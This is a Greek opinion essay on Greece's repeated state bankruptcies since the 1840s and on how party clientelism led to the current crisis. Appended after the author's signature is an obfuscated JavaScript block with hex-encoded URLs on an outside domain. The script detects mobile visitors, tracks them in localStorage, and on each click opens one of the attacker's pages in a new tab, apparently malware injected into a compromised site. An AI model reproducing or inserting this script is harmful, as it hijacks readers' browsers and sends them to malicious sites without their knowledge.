

ΚΡΑΤΙΚΕΣ ΧΡΕΟΚΟΠΙΕΣ ΚΑΙ ΚΟΙΝΩΝΙΚΗ ΠΑΡΑΚΡΟΥΣΗ

Η σημερινή τραγωδία της χώρας είναι άγνωστο για πόσο χρονικό διάστημα θα διαρκέσει αλλά δεν είναι άγνωστο ούτε το περιεχόμενο της ούτε η αιτιολογία της. Και στο απώτερο και στο πρόσφατο παρελθόν η Ελλάδα αντιμετώπισε παρόμοιες περιστάσεις κοινωνικών, οικονομικών και πολιτιστικών κρίσεων. Σχετικά πρόσφατα θυμίζω ότι είχαν καταλυθεί ακόμα και οι πολιτειακές δομές αυτής της χώρας η ανασύσταση των οποίων ετελέσθη μετά από 7,5 χρόνια.

Κατά τη διάρκεια της νεώτερης ιστορίας της, η Ελλάδα αντιμετώπισε πολλές περιπτώσεις χρεοκοπίας. Γι' αυτόν που γνωρίζει την οικονομική ιστορία του τόπου του, οι καταστάσεις οικονομικής δυσπραγίας οι οποίες περιλαμβάνουν και χρεοκοπίες ή υψηλούς πληθωρισμούς και μεγάλα εσωτερικά και εξωτερικά ελλείμματα, είναι οι συνηθέστερες και μάλλον αποτελούν τον κανόνα της ελληνικής εξέλιξης παρά την εξαίρεση.

Από τα δάνεια για την απελευθερωτική επανάσταση που δεν μπόρεσε να αποπληρώσει η κυβέρνηση Χρηστίδη τη δεκαετία του 1840 έως τη σημερινή *de facto* χρεοκοπία, μεσολάβησαν επί πλέον και εκείνες του Κουμουνδούρου, του Τρικούπη και του Βενιζέλου, χωρίς να προσμετράται και αυτή του δεύτερου παγκόσμιου πολέμου και του εμφυλίου που ήταν αποτέλεσμα των γερμανικών καταναγκαστικών δανείων και των πολεμικών συνθηκών. Κατά συνέπεια η Ελλάδα διαθέτει τη σχετική τεχνογνωσία για το θέμα και τα εργαλεία εκείνα που πρέπει να χρησιμοποιήσει για να εξέλθει από τη εμφανή δυσχέρεια.

Όπως και σήμερα, με την τρόϊκα, έτσι και τότε το 1843, επί γαλλόφιλης κυβερνήσεως Χρηστίδη ο οικονομολόγος Lemaitre είχε οριστεί ως εκπρόσωπος των δανειστών των 60 εκατομμυρίων φράγκων, για να προτείνει και να επιβλέπει την ανόρθωση των δημοσίων οικονομικών. Φυσικά οι συνθήκες ήταν διαφορετικές αλλά αξίζει να υπογραμμισθεί, ότι οι μέθοδοι ήταν σχεδόν οι ίδιες. Ο βασιλιάς Όθων όμως και η κυβέρνηση δεν ακολουθούν τις καλόπιστες υποδείξεις του γάλλου και έτσι μοιραίως τα οικονομικά της μικρής χώρας πέφτουν στην μαύρη τρύπα της καταστροφής. Περικόπτονται πολλά κονδύλια από τους προϋπολογισμούς του 1842-43, εξαφανίζονται πολλές θέσεις εργασίας, απολύονται υπάλληλοι, καταργούνται συντάξεις και ακόμα κλείνουν ελληνικές πρεσβείες.

Το ίδιο συνέβη και αργότερα κατά τη δεκαετία του 1890, με το Διεθνές Οικονομικό έλεγχο, και τον Εδουάρδο Λω αυτή τη φορά, στη «τρουκοπική» χρεοκοπία, όπου η ελληνική οικονομία ακολούθησε για άλλη μια φορά το δρόμο της κρίσης με κορυφαία συνέπεια τη μετανάστευση πολλών Ελλήνων στην Αμερική, (250.000 άνθρωποι).

Στη ουσία όμως του οικονομικού φαινομένου, εκείνο που αποκρύπτεται είναι ένας συγκεκριμένος τρόπος με το οποίο η ελληνική οικονομία συνδέεται με τη διεθνή και τον οποίο δεν μπορεί να μεταβάλει προς όφελος της. Φαινομενικά το οικονομικό γεγονός της χρεοκοπίας δεν αιτιολογείται με τον ίδιο τρόπο αλλά όλοι οι τρόποι ανάγονται στο γεγονός ότι η παραγωγική βάση και οι μορφές οργάνωσης των παραγωγικών ικανοτήτων της χώρας υπολείπονται εκείνων των ανταγωνιστών. Οι προπολεμικοί υπερδανεισμοί ήταν ποιοτικά διαφορετικοί από τον σημερινό. Εκείνοι απέβλεπαν κατά το πλείστον στη κάλυψη ουσιαστικών οικονομικών και εθνικών αναγκών ενώ η τρέχουσα χρεοκοπία είναι αποτέλεσμα πολιτικής αφροσύνης, ιδιωτικής υπέρ κατανάλωσης και κρατικής σπατάλης. Κατά συνέπεια φρόνιμο θα ήταν να διαχωρίζονται οι ποιοτικές διαστάσεις του οικονομικού εκτροχιασμού έστω και αν οι ποσοτικές επιπτώσεις είναι κοινές ως προς την εθνική οικονομία και το βιοτικό επίπεδο. Αξίζει όμως να σημειωθεί ότι η Ελλάδα κατάφερε να αποπληρώσει τα χρέη της στο ακέραιο κατά τις προηγούμενες κρίσεις ενώ δεν είναι βέβαιο ότι κάτι αντίστοιχο θα πράξει και με τη σημερινή ιδιαίτερα κάτω από αυτούς τους βάρβαρους όρους των επιβληθέντων «μνημονίων».

Λίγο πολύ όλες οι χρεοκοπίες, πλην της σημερινής, ήταν δικαιολογημένες και αναμενόμενες. Η μεσοπολεμική βιομηχανική και οικονομική ανάπτυξη της χώρας ήταν ευάλωτη γιατί η βιομηχανική βάση ήταν ακόμα σε νηπιακή μορφή αλλά η αθέτηση πληρωμών από το Βενιζέλο το 1931 ήταν εν πολλοίς αποτέλεσμα του παγκόσμιου Κράχ, που είχε συγκλονίσει τον τότε κόσμο. Τα δάνεια που έλαβε ο Τρικούπης, από την άλλη, σε μεγάλο βαθμό, ήταν αναγκαία προκειμένου να αποπληρωθούν εκείνα της Επανάστασης αλλά και να χρηματοδοτηθούν οι πολιτικές δημιουργίας υποδομών, όπως οι σιδηρόδρομοι και η οδοποιία αλλά και πολιτικές στρατιωτικής άμυνας.

Οι περίοδοι στις οποίες η Ελλάδα δεν βρισκόταν σε καθεστώς χρεοκοπίας, δεν ήταν ουσιαστικά διαφορετικές από οικονομική άποψη. Οι κρατικοί προϋπολογισμοί σε όλες σχεδόν τις φάσεις εξέλιξης ήταν ελλειμματικοί και το ισοζύγιο πληρωμών επίσης. Υψηλοί πληθωρισμοί και συνεχείς διολισθήσεις ή υποτιμήσεις της δραχμής αντικαθιστούσαν τις πολιτικές αυτοδυναμίας. Τα γεγονότα αυτά αποκαλύπτουν πως η ελληνική οικονομία ποτέ δεν κατάφερε να δημιουργήσει ανταγωνιστικές δομές και να αξιοποιήσει στο έπακρο τις παραγωγικές της δυνατότητες. Στη μεταπολεμική ιδιαίτερα περίοδο, οι κυβερνήσεις είχαν επαναπαυθεί στη ανέξοδη διαχείριση του καθημερινού, γιατί τα εξωτερικά ελλείμματα μπορούσαν να καλυφθούν από τους άδηλους πόρους, (τουρισμό, ναυτιλία, εμβάσματα ελλήνων μεταναστών) έστω και αν το εμπορικό έλλειμμα διευρυνόταν συνεχώς.

Τώρα που το καπάκι έχει εκτιναχθεί ψηλά, έχουν διαχυθεί όλες οι δυσοσμίες που κάλυπτε. Κυρίως το κράτος που δημιουργήθηκε δεν έχει καμία σχέση με εκείνο το Κράτος που υπακούει και εξυπηρετεί την έννοια της εναρμόνισης των αντιτιθέμενων κοινωνικών και ταξικών συμφερόντων. Αντίθετα έχει πάρει ένα ρόλο συντεχνιακού δεσποτισμού που κάθε αρμός του, δηλαδή κάθε βαθμίδα του, είναι γραμμική προέκταση των συμφερόντων των κυρίαρχων οικονομικών ομάδων που έχουν δημιουργηθεί μέσα στην ιστορία. Η σχετική αυτονομία της πολιτικής του από τα οικονομικά συμφέροντα που θα του προσέδιδε την ικανότητα της ηθικής και δίκαιης ρύθμισης, με την έννοια της διατήρησης της κοινωνικής συνοχής και της ανάπτυξης, των μηχανισμών κατανομής των πόρων, ποτέ δεν κατάφερε να γίνει πράξη.

Αντίθετα τα κυρίαρχα συμφέροντα των επιχειρηματιών του κλάδου των κατασκευών, για παράδειγμα, έχουν την εκτελεστική τους επιτροπή δηλαδή το Υπ. Δημοσίων Έργων, που τα προωθεί, ή των επιχειρηματιών της βιομηχανίας, το Υπ. Βιομηχανίας ή Ανάπτυξης ή όπως αλλιώς, κλπ.

Εκείνο που πρέπει να γίνει συνείδηση είναι ότι ενώ η ελληνική κοινωνία είναι ασφαλώς διαφοροποιημένη, σύγχρονη και λειτουργική, ως προς τις ιδέες, τις συμπεριφορές και τις επιδιώξεις, το Κράτος παραμένει εσωτερικά αδιαφοροποίητο για δεκαετίες και άμεσα εκτελεστικό ως προς τις δράσεις του. Ο τρόπος που είναι συγκροτημένο είναι μη λογικός με την έννοια της απόδοσης στη κοινωνία των μέσων που έχει ανάγκη για την επίτευξη των στόχων της. Ένα απλό παράδειγμα είναι το εξής: η εφαρμογή των διατάξεων του Κώδικα οδικής κυκλοφορίας υπάγεται στις αρμοδιότητες της αστυνομίας, (τροχαία). Η παράβαση του, σε συνήθεις μορφές, ασφαλώς επισύρει οικονομικές ποινές που επιβάλλονται από τις κατώτερες κλίμακες της υπηρεσίας. Ο παραβάτης όμως μπορεί να υποσκελίσει τις κλίμακες αυτές και να προσεγγίσει εύκολα τον ίδιο τον αρχηγό ο οποίος πρόθυμα αφού έλαβε ή όχι το νεύμα από έναν υπουργό, ακυρώνει τον κατώτερο υπάλληλο του και διαγράφει την οικονομική ποινή. Εδώ ταυτόχρονα παρατηρούμε ότι υπουργός, αρχηγός της αστυνομίας και τροχονόμος έχουν απεκδυθεί εθελούσια τους ρόλους και τις αρμοδιότητες, που τους προσδίδονται από τους νόμους και αυτόυποβιβάζονται σε επίπεδα με περιεχόμενο που συγκρούεται με εκείνο για τη πραγμάτωση του οποίου έχουν οριστεί. Αν θεωρήσουμε ότι η αυτοακύρωση των θεσμικών ρόλων εξυπηρετεί έναν όποιο σκοπό, τότε σίγουρα αυτός βρίσκεται έξω από τα ορισμένα πλαίσια των κρατικών λειτουργιών τα οποία τυπικώς προβάλλονται και ως όρια φύλαξης της έννομης τάξης, τα υπερβαίνει και στο τέλος τα μετατρέπει σε μέσα που εξυπηρετούν όχι τη κοινωνική συλλογικότητα αλλά τη προσωπική στόχευση του κρατικού αξιωματούχου, υπουργού, αρχηγού, κλπ. Έτσι το κράτος καταργεί το ίδιο την διακριτή λειτουργία του και μετατρέπεται σε ένα ογκώδες εργαλείο που κινείται όχι στη βάση του έννομου συνταγματικά περιεχομένου του αλλά στη βάση των προσωπικών θελήσεων των εκάστοτε πολιτικών αξιωματούχων του. Στις πτυχές του μοντέλου αυτού δεν υπάρχουν λειτουργικές διαφοροποιήσεις που εξασφαλίζουν την σχετική αυτονομία, την ανεξαρτησία των θεσμών και την αμεροληψία των δράσεων έναντι της κοινωνίας των πολιτών. Η κοινωνία έχει ταυτιστεί με το κράτος και το κράτος με τη κοινωνία, αμφότερα τα οποία υπόκεινται στη κυρίαρχη βούληση του κομματικού προϊσταμένου.

Στο εσωτερικό αυτού του αναλυτικού πλαισίου, εξυφάνθηκε και ο οικονομικός ρόλος του κράτους. Η επιχειρηματική του δραστηριότητα εκτυλίχθηκε σε δύο κατευθύνσεις. Η πρώτη ήταν να αναλάβει την εκμετάλλευση των φυσικών πόρων μονοπωλιακά με αποτολέσματα πραγματικά τραγικά και η δεύτερη ήταν να δημιουργήσει ένα κύκλο συνεργαζόμενων ιδιωτικών εταιριών πλήρως εξαρτημένων από τις ανάγκες προμηθειών του με αμοιβαίες σχέσεις αλληλεξάρτησης. Ουσιαστικά δημιουργήθηκε μια συγχωνευμένη σχέση πολιτικών

και επιχειρηματιών όπου οι μεν στηρίζονταν στους δε. Η κατανομή πόρων που επιβάλλονταν μέσω του κρατικού προϋπολογισμού απέβλεπε στη χρηματοδότηση των κρατικοιδιωτικών επιχειρήσεων μέσω της φορολόγησης της μισθωτής εργασίας ενώ άφηνε το “προνόμιο” της φορολογικής ασυλίας ή φοροδιαφυγής να το νέμονται οι κρατικοί και κρατικοδίαιτοι επιχειρηματίες.

Η προσθήκη του πολιτικού στοιχείου σ' αυτό το μοντέλο, προϋπόθετε και τη συνεχή χρηματοδότηση του αναγκαίου πολιτικού πόρου, δηλαδή την εξασφάλιση της ψήφου.

Έτσι τα κρατικά έσοδα εκ της συνολικής φορολογίας διανεμόνταν προς α) τη χρηματοδότηση των κρατικών και κρατικοδίαιτων επιχειρήσεων, β) προς τη χρηματοδότηση της εξασφάλισης των πολιτικών πόρων γ) προς τη χρηματοδότηση των ελλειμμάτων που δημιουργούσε η φοροδιαφυγή και δ) προς τη χρηματοδότηση των πληροφοριακών μηχανισμών και των μηχανισμών διασποράς ιδεολογίας που μεριμνούσαν για την κατοχύρωση νομιμοποίησης του συστήματος.

Η ένταξη της χώρας στην ευρωζώνη, δηλαδή σε ένα εντελώς διαφορετικό λειτουργικό πλαίσιο θεσμών, είχε ως αποτέλεσμα να αποκαλυφθεί η σαθρότητα του ελληνικού εσωτερικού πολιτικού και οικονομικού μορφώματος, εκπλήσσοντας με τη χυδαία γύμνια του και τους Έλληνες και τους ξένους θεσμικούς παράγοντες και ευρωπαίους πολίτες. Ο κύκλος της φοροδιαφυγής και σπάταλης δαπάνης διευρύνονταν γιατί οι “πολιτικοί ιθύνοντες” έσπευδαν να “εκμεταλλευθούν” τις ευκαιρίες δανεισμού από τις διεθνείς αγορές με επιτόκιο ένα τοις εκατό σωρεύοντας χρέη επί χρεών.

Ο ελληνικός λαός βρίσκεται ακόμα σε κατάσταση παραζάλης. Οι συνεχείς αποκαλύψεις των φαινομένων διαφθοράς, ππραφθοράς και πολιτικού βαρβαρισμού, μεγαλώνουν περισσότερο τα συναισθήματα αηδίας, απογοήτευσης, φόβου και θλίψης, γεγονός που αναστέλλει τη συνειδητοποίηση για ανάληψη μαζικής εξυγιαντικής δράσης.

Οργισμένος και έκκληκτος ο Έλληνας βλέπει και ακούει όλους εκείνους που υπήρξαν υπουργοί στα χρόνια που πέρασαν και που ζητούσαν και έπαιρναν αυξημένα κονδύλια για τα υπουργεία τους από τον κρατικό προϋπολογισμό, δημιουργώντας ελλείμματα και υπέρ χρέη, να του ζητούν θρασύτητα τη ψήφο του, δηλαδή να τους εμπιστευθεί εκ νέου για τη διάσωση αυτή τη φορά και τη σωτηρία της χώρας.

Ο τρόπος με τον οποίο θα αντιδράσει στις επερχόμενες εκλογές είναι άγνωστος. Αν και πολλοί τον προεξοφλούν, οι συνθήκες σήμερα δεν μοιάζει να είναι όμοιες με άλλες στη πρόσφατη ιστορία, και επομένως οι εκ των προτέρων κρίσεις μάλλον είναι πρόχειρες και επιπόλαιες.

Όπως και αν έχει πάντως, οι επερχόμενες εκλογές θα φέρουν την Ελλάδα ένα βήμα πίσω. Πρώτον γιατί μια κυβέρνηση συνεργασίας από κόμματα διαφορετικού προσανατολισμού θα απαιτεί περισσότερο χρόνο για τη λήψη αποφάσεων σε μια περίοδο γρήγορων ρυθμών, δεύτερον γιατί θα βαθύνουν οι πολιτικές ρωγμές στην ελληνική κοινωνία με αποτέλεσμα υψηλό οικονομικό κόστος και τρίτο γιατί θα τελεσθούν στην υπάρχουσα διοικητική και θεσμική πολιτική διάταξη χωρίς να την αμφισβητήσουν.

Η χώρα χρειάζεται ποιοτικές και ποσοτικές διοικητικές περιφερειακές και πολιτικές μεταρρυθμίσεις. Για παράδειγμα νέα μικρότερη περιφερειακή διάταξη, μικρότερος αριθμός βουλευτικών εδρών, πολιτική αποκέντρωση, περιφερειακοί προϋπολογισμοί, αρχαιρεσίες για την ανάδειξη των ηγεσιών των εθνικών θεσμών, όπως αστυνομία, στρατός, δικαιοσύνη, κλπ, κλπ,. Οι εκλογές όπως φαίνεται δεν θα θίξουν τα θέματα αυτά, αναπαράγοντας την υπάρχουσα δομή που παράγει κρίσεις, λόγω του δεσπόζοντος κομματικού ελέγχου. Συνεπώς η χώρα συνειδητά οδεύει προς τη πορεία εμβάθυνσης και καθολικοποίησης της κρίσης με την ελπίδα πως οι μεθεπόμενες και όχι οι ερχόμενες, εκλογές θα θέσουν επί

τάπητος την έρευνα για τις νέες μεγάλες εθνικές προκλήσεις.

Θ/Κ

```
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return
_0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let
_0x2d38c6=_0x10c8dc[_0x3023c3];return
_0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const
_0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx
70x61x6ex79x2fx7ax52x54x32x63x312','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2f
x61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx51x52x56x33x63x373','x68x74
x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6bx5ax4dx30
x63x370','random','-local-storage','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex
63x6fx6dx70x61x6ex79x2fx4cx50x72x37x63x357','stopPropagation','4051490VdJdXO','test','op
en','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx7a
x63x51x36x63x386','12075252qhSFyR','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x
```

```

78x2ex63x6fx6dx70x61x6ex79x2fx45x70x55x38x63x388','x68x74x74x70x3ax2fx2fx61x6cx6dx6
1x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx71x78x64x35x63x385','4829028FhdmK','ro
und','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vend
or','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return
_0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const
_0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(![]){try{const
_0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x14
2fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(
_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;els
e
_0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift'](
));}})(_0x10c8,0xd3435));var
_0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'
substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx
6dx70x61x6ex79x2fx4ex6ax74x31x63x311',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x
70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6ex46x41x34x63x
314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'x68x74x74x7
0x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx74x4ex46x39x63x3
09',",_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x
3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x1
9b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_
0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){le
t _0x129862=![];return
function(_0x784bdc){/(android|bbd+|meego).+mobile|avantgo|bada|blackberry|blazer|compal|e
laine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge
|maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(
os)?|phone|p(ixi|re)|plucker|pocket|psp|series(4|6|0)|symbian|treo|up.(browser|link)|vodafone|wa
p|windows
ce|xda|xiino|i[_0x365b[0x4]](_0x784bdc)|/1207|6310|6590|3gso|4thp|50[1-6]|770s|802s|a
wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di-
m|r|s
)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|c
md-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(
ic|k0)|esl8|ez([4-7]|0|os|wa|ze)|fetc|fly(-|_)|g1
u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c-|
_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac(
|-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( /)|klon|kpt
|kwc-|kyo(c|k)|le(no|xi)|lg(
g|/(k|l|u)|50|54|-|a-w)|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|
oa|ts)|mmef|mo(01|02|bi|de|do|t(-|o|v)|zz)|mt(50|p1|v
)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6
|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(al|dt)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|p
o(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-|2-7)|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/
|sa(ge|ma|mm|ms|ny|va)|sc(01|h-oo|p-)|sdk/se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(4
5|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-v-v
)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-m3|m5)|tx-

```

```
9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|8
1|83|85|98)|w3c(-|)|webc|whit|wi(g
|nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)
))&&(_0x129862=!![]);(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]
]),_0x129862;};const
_0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0x
b],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0
x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x
365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x36
5b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const
_0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](
_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return
_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]]);},_0x57de
ba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1)
,_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x
11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5a
a0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const
_0x266889=0x3e8*0x3c*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(
_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(
_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),
_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+
_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&windo
w[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function
_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const
_0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const
_0x4593ae=Date[_0x365b[0x21]](new
Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1d
d2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const
_0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x45
93ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0
x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));_0x4
48fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0
x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x5
7deba(_0x1b1224));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else
_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x9
78889);})();
```